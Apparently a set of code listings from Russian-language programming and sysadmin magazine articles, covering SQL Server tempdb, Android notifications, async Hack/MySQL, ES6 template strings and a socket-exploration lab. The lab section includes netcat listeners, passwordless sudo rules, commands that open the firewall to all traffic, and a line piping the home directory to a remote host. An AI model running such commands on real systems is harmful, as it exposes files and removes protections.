tempdev, FileName = 'Новый диск:\Новый каталог\tempdb.mdf') go alter database tempdb modify file (NAME = templog, FileName = 'Новый диск:\Новый каталог\templog.ldf') go DBCC FREEPROCCACHE ALTER INDEX ALL ON «ИмяТаблицы» REORGANIZE ALTER INDEX ALL ON «ИмяТаблицы» REBUILD ----------------------------------------------------------------------- Механизмы уведомлений в ОС Android Андрей Пахомов mNotificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE); NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(this) .setSmallIcon(R.mipmap.ic_launcher) .setContentTitle("Notification message") .setContentText("Text for user") Intent resultIntent = new Intent(this, NotificationReceiverActivity.class); TaskStackBuilder stackBuilder = TaskStackBuilder.create(this); stackBuilder.addParentStack(NotificationReceiverActivity.class); stackBuilder.addNextIntent(resultIntent); public class NotificationReceiverActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.result);…}…} PendingIntent resultPendingIntent = stackBuilder.getPendingIntent(0, endingIntent.FLAG_UPDATE_CURRENT); mBuilder.setContentIntent(resultPendingIntent); mNotificationManager.notify(messageId, mBuilder.build()); .setAutoCancel(true) long [] pattern=new long[]{0, 100}; mBuilder.setVibrate(pattern); Uri soundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION); mBuilder.setSound(soundUri); Notification fullNotif = mBuilder.build(); fullNotif.ledARGB = Color.argb(255, 0, 255, 0); fullNotif.flags |= Notification.FLAG_SHOW_LIGHTS; fullNotif.ledOnMS = 200; fullNotif.ledOffMS = 300; mBuilder.addAction(R.mipmap.ic_launcher,"ActionButton",buttonIntent); Intent smsIntent = new Intent(Intent.ACTION_VIEW); smsIntent.setData(Uri.parse("sms:")); TaskStackBuilder smsStack = TaskStackBuilder.create(this); smsStack.addNextIntent(smsIntent); PendingIntent smsPIntent = smsStack.getPendingIntent(0, PendingIntent.FLAG_CANCEL_CURRENT); mBuilder.setVisibility(NotificationCompat.VISIBILITY_SECRET); NotificationCompat.InboxStyle inboxStyle = new NotificationCompat.InboxStyle(); inboxStyle.setBigContentTitle("Message details:"); Spannable[] events = new SpannableString[2]; events[0]=new SpannableString("first message data for user"); events[0].setSpan(new StyleSpan(android.graphics.Typeface.BOLD), 0, "first message".length(), Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); for (int i=0; i < events.length; i++) {inboxStyle.addLine(events[i]);} mBuilder.setStyle(inboxStyle); mBuilder.setContentTitle("extra info"); mBuilder.setContentText("more messages received"); Notification fullNotif = mBuilder.build(); mBuilder.setPriority(NotificationCompat.PRIORITY_MAX); mBuilder.setCategory(NotificationCompat.CATEGORY_SOCIAL); ----------------------------------------------------------------------- Hack. Асинхронность Александр Календарев connect_errno) { printf("Connect failed: %s\n", $mysqli->connect_error); exit(); } $start = time(); $res = $mysqli->query('SELECT sleep(3) as sleep'); if ($res == null) { echo $mysqli->error, PHP_EOL; } $row = $res->fetch_assoc(); $res = $mysqli->query('SELECT sleep(1) as sleep'); if ($res == null) { echo $mysqli->error, PHP_EOL; } $row = $res->fetch_assoc(); $mysqli->close(); echo 'time ', ( time() - $start ), ' sec' , PHP_EOL; connect_errno) { printf("Connect failed: %s\n", $mysql_i->connect_error); exit(); } // формируем запрос $queryes[] = "SELECT sleep($sleep_value) as sleep"; $sleep_value = next($sleep); } $start = time(); reset($queryes); $query = current($queryes); foreach ($mysqli as $link) { // выполняем запрос $link->query($query, MYSQLI_ASYNC); $query = next($queryes); } // событийный цикл, $processed = 0; do { $links = $errors = $reject = []; foreach ($mysqli as $mysql) { $links[] = $errors[] = $reject[] = $mysql; } # опрашиваем все коннекции на наличие ответа if (!mysqli_poll($links, $errors, $reject, 60)) { continue; } foreach ($links as $k=>$link) { # получаем ответ из асинхронного запроса if ($result = $link->reap_async_query()) { $res = $result->fetch_row(); # Handle returned result //echo 'get result link #',$k,PHP_EOL; //var_dump( $res); mysqli_free_result($result); } else die(sprintf("MySQLi Error: %s", mysqli_error($link))); $processed++; } } while ($processed < count($mysqli)); echo 'time ', ( time() - $start ), ' sec' , PHP_EOL; $ php ex1.php $ php ex2.php class AsyncMysqlClient { public static async function connect( string $host, int $port, string $dbname, string $user, string $password, int $timeout_micros = -1 ): Awaitable; } { $pool = new \AsyncMysqlConnectionPool([]); $host = '127.0.0.1'; $port = 3306; $db = 'temp'; $user = 'akalend'; $password = '12345'; //осуществляем соединение $conn1 = await $pool->connect($host, $port, $db, $user, $password); $conn2 = await $pool->connect($host, $port, $db, $user, $password); // синхронизируем ответ от выполнения двух асинхронных запросов $res_pool = await \HH\Asio\v([ $conn1->query('SELECT sleep(1) as sleep1'), $conn2->query('SELECT sleep(3) as sleep2'), ]); // получение результата, данные выполнения в массиве $res_pool var_dump($res_pool[0]->mapRows(), $res_pool[1]->mapRows()); $conn1->close(); $conn2->close(); } // запуск асинхронной функции и ожидание результата $time = time(); \HH\Asio\join(async_mysql()); echo time()-$time, ' sec',PHP_EOL; // объявляем асинхронную функцию async function f1(): Awaitable { // ...тело функции } async function f2(): Awaitable { // ...тело функции } // составляем массив ссылок на функции $handles = [f1(), f2()]; // асинхронно выполняем обе функции и синхронизируем результат в массиве $result $result = await HH\Asio\m($handles); // используем полученный результат var_dump($result['f1'], $result['f2']); // объявляем асинхронную функцию async function f(): Awaitable { // ...тело функции } async function main(): Awaitable { $wait_handle = f(); // далее может идти выполнение некоторого синхронного кода // … // … тут происходит ожидание выполнения асинхронной функции // … и получение результата целого типа: int $result = await $wait_handle; } async function f(): Awaitable { // … код асинхронной функции } // синхронный код function main(): void { // выполнение асинхронной функции и ожидание окончания выполнения $result = HH\Asio\join(f()); } function f((function(int): Awaitable) $callback): void { // ... } interface I { // ошибка public async function bad(): Awaitable; // объявляем как синхронный public function good(): Awaitable; } abstract class C { // ошибка abstract public async function bad(): Awaitable; // объявляем как синхронный abstract public function good(): Awaitable; } ; namespace HH\Asio { async function curl_exec(mixed $urlOrHandle): Awaitable; } { return await HH\Asio\curl_exec("http://127.0.0.1/sleep.php?" . $sec ); } async function example_async_curl(): Awaitable { // асинхронный запуск необходимого кол-ва HTTP запросов $res1 = async_curl(1); $res2 = async_curl(3); // синхронизация ответов list($str1,$str2) = await HH\Asio\v([$res1, $res2]); echo $str1,$str2, PHP_EOL; } $time = time(); \HH\Asio\join(example_async_curl()); echo time()-$time, ' sec',PHP_EOL; class MCRouter { public function __construct(array $options, string $pid = ''); public static function createSimple(ConstVector $servers): MCRouter; public async function add(string $key, string $value, int $flags = 0, int $expiration = 0): Awaitable; public async function get(string $key): Awaitable; public async function del(string $key): Awaitable; public async function incr(string $key): Awaitable; public async function decr(string $key): Awaitable; ... } { $key = 'name:' . $id; await $mcr->set($key, $value); } // Получение данных из memcached async function get_user_name(\MCRouter $mcr, int $user_id): Awaitable { $key = 'name:' . $user_id; try { $res = await \HH\Asio\wrap($mcr->get($key)); if ($res->isSucceeded()) { return $res->getResult(); } return ""; } catch (\MCRouterException $ex) { echo $ex->getKey() . PHP_EOL . $ex->getOp(); return ""; } } async function run(): Awaitable { $mcr = get_mcrouter_object(); await add_user_name($mcr, 1, "Вася Пупкин"); $name = await get_user_name($mcr, 1); var_dump($name); // выведет "Вася Пупкин" } \HH\Asio\join(run()); ----------------------------------------------------------------------- Шаблонные строки в ES6. Больше, чем строки Александр Майоров var myTooLongString = "A long time ago, in a galaxy far," + "far away...." + someVariable + "It is a period of civil war"; /** * @param tpl - шаблон * @param data - данные (не обязательно) * @param tags * @returns {XML|string|void} */ function template(tpl, data, tags){ tags = tags || { open: '${', close: '}' }; return tpl.replace( new RegExp(tags.open + "\\s*([\\w\\.]*)\\s*" + tags.close, "g"), function(s, k){ var k = k.split('.'), v = data[k.shift()], prop; for (prop in k) { if(k.hasOwnProperty(prop)) { v = v[k[i]]; } } return (typeof v !== void 0 && v !== null) ? v : ''; } ); } var data = { person: { name: 'Alexander', surname: 'Majorov' } }; console.log( template('hello ${ person.name } ${ person.surname }', data) ); var data = { person: { name: 'Alexander', surname: 'Majorov' } }; console.log(`hello ${ person.name } ${ person.surname }`); var myTooLongString = `A long time ago, in a galaxy far far away.... It is a period of civil war. Rebel spaceships, striking from a hidden base, have won their first victory against the evil Galactic Empire`; function parse(strings, ...values) { return strings.raw[0]; } let myStr = parse`Any string with any var = ${ myVar }`; String.raw`Hi\n${2+3}!`; //Выведет "Hi\\n5!" mov `ax` `2` mov `dx` `3` add `ax` `dx` print `ax` var mem = {}; function mov(s1) { return s2 => mem[s1[0]] = s2[0] } function add(s1) { return s2 => mem[s1[0]] + mem[s2[0]] } function print(s1) { console.log(mem[s1[0]]) } function template(strings, ...keys) { return (function(...values) { var dict = values[values.length - 1] || {}; var result = [strings[0]]; keys.forEach(function(key, i) { var value = Number.isInteger(key) ? values[key] : dict[key]; result.push(value, strings[i + 1]); }); return result.join(''); }); } template `${0}${1}${0}!` ('Y', 'A'); // return "YAY!" // return "Hello World!" template `${0} ${'foo'}!` ('Hello', {foo: 'World'}); function log(strings, ...values) { let args = [], res = [], n = values.length; for (let i = 0; i < n; i++) { args.push(strings[i], '${ ' + values[i] + ' }'); res.push(strings[i], values[i]); } args.push(strings[n]); res.push(strings[n]); console.log(...args); return res.join(''); } const week = 7; const month = 31; let myStr = log `A week has ${week} days. A month has ${month} days.`; // in console log: A week has ${ 7 } days. // A month has ${ 31 } days. // myStr = A week has 7 days. A month has 31 days. function vars(templateStrings, ...substitutions) { let result = templateStrings[0]; for (let [i, obj] of substitutions.entries()) { let propKeys = Object.keys(obj); for (let [j, propKey] of propKeys.entries()) { if (j > 0) { result += ', '; } result += propKey+'='+obj[propKey]; } result += templateStrings[i+1]; } return result; } let foo = 123; let bar = 'abc'; let baz = true; console.log(vars`Variables: ${{foo, bar, baz}}`); // Output: // Variables: foo=123, bar=abc, baz=true let myString = ru `Hello world!`; // Привет мир! let myString = url `/hello/world`; // http://majorov.su/hello/world.html ----------------------------------------------------------------------- Лабораторная работа. Исследуем сокеты. Часть 1 Владимир Закляков user ALL=(ALL) NOPASSWD: /usr/sbin/tcpdump -i lo -n -nn -X user ALL=(ALL) NOPASSWD: /usr/sbin/tshark -i lo -x -V user ALL=(ALL) NOPASSWD: /sbin/iptables -L user ALL=(ALL) NOPASSWD: /sbin/iptables -L -v -x -n user ALL=(ALL) NOPASSWD: /sbin/iptables -L -v -x -n --line-numbers user ALL=(ALL) NOPASSWD: /sbin/iptables -L INPUT -v -x -n --line-numbers … user ALL=(ALL) NOPASSWD: /usr/bin/nc -l ? user ALL=(ALL) NOPASSWD: /usr/bin/nc -l ?? user ALL=(ALL) NOPASSWD: /usr/bin/nc -l ??? user ALL=(ALL) NOPASSWD: /usr/bin/nc -l ???? user ALL=(ALL) NOPASSWD: /usr/bin/nc -u -l ???? # adduser user # passwd user # yum install mc httpd gcc gcc-c++ lsof lynx nc tcpdump telnet wireshark wget # iptables -P INPUT ACCEPT # iptables -P OUTPUT ACCEPT # iptables -F # service httpd start $ telnet 127.0.0.1 1234 $ telnet 127.0.0.1 80 pkgmgr /iu:"TelnetClient" $ nc -l 1234 # nc -l 1023 $ nc -l 1234 -u $ nc -l 1080<1.txt # while true; do nc -l 80 out.tgz $ tar -zc ~ | ncat --ssl machineb 6500 -----------------------------------------------------------------------